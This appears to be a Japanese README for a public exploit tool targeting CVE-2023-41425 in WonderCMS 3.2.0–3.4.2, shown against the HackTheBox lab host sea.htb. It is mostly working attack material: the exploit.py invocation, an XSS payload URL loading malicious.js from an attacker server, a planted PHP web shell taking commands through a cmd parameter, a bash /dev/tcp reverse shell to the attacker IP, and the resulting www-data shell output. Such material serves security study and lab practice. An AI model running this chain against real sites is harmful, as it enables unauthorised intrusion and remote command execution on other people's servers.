
WonderCMS v3.2.0 - v3.4.2 XSSからRCEへのエクスプロイト
CVE-2023-41425 は、Wonder CMS における反射型 XSS 脆弱性であり、installModule コンポーネントを介した悪意のあるスクリプトを通じて任意のコード実行を可能にします。
ターゲットの loginURL に対してエクスプロイトを実行し、悪意のある .js ファイルをホストする Web サーバーの IP とポートを指定します:
$ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888
[+] Creating PHP Web Shell
[+] Writing malicious.js
[+] XSS Payload:
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8888/malicious.js"></script><form+action="
[+] Web Shell can be accessed once .zip file has been requested:
http://sea.htb/themes/malicious/malicious.php?cmd=<COMMAND>
[+] To get a reverse shell connection run the following:
[+] curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"
[+] Starting HTTP server
Serving HTTP on 10.10.16.25 port 8888 (http://10.10.16.25:8888/) ...
<--REDACTED--> "GET /malicious.js HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
XSS ペイロードを被害者に送信します。被害者がリンクを開くと、上記で起動した Web サーバーから .js が要求されます。.js は、シンプルな PHP Web シェルを含む悪意のある .zip モジュールをダウンロードします。
.zip が要求されると、installModule を通じてインストールされ、スクリプトが提供するリンクからアクセスできるようになります。
$ curl -s 'http://sea.htb/themes/malicious/malicious.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
まずリスナーをセットアップし、任意のコマンドを実行してリバースシェル接続を確立します。スクリプトにはその例(Linux)が用意されています。
$ curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
リスナーで接続を取得します:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.194.205] 54398
bash: cannot set terminal process group (1135): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sea:/var/www/sea/themes/malicious$
依存関係をインストールします:
pip install -r requirements.txt
ヘルプ:
$ python3 exploit.py --help
usage: exploit.py [-h] --url URL --xip XIP --xport XPORT
Exploit Wonder CMS v3.2.0 - v3.4.2 XSS to RCE (CVE-2023-41425)
Initial CVE and proof-of-concept by prodigiousMind
Rewritten by xpltive
options:
-h, --help show this help message and exit
--url URL Target URL of loginURL (Example: http://sea.htb/loginURL)
--xip XIP IP for HTTP web server that hosts the malicious .js file
--xport XPORT Port for HTTP web server that hosts the malicious .js file
脆弱性を発見・報告した prodigiousMind にクレジットを捧げます(リンク)。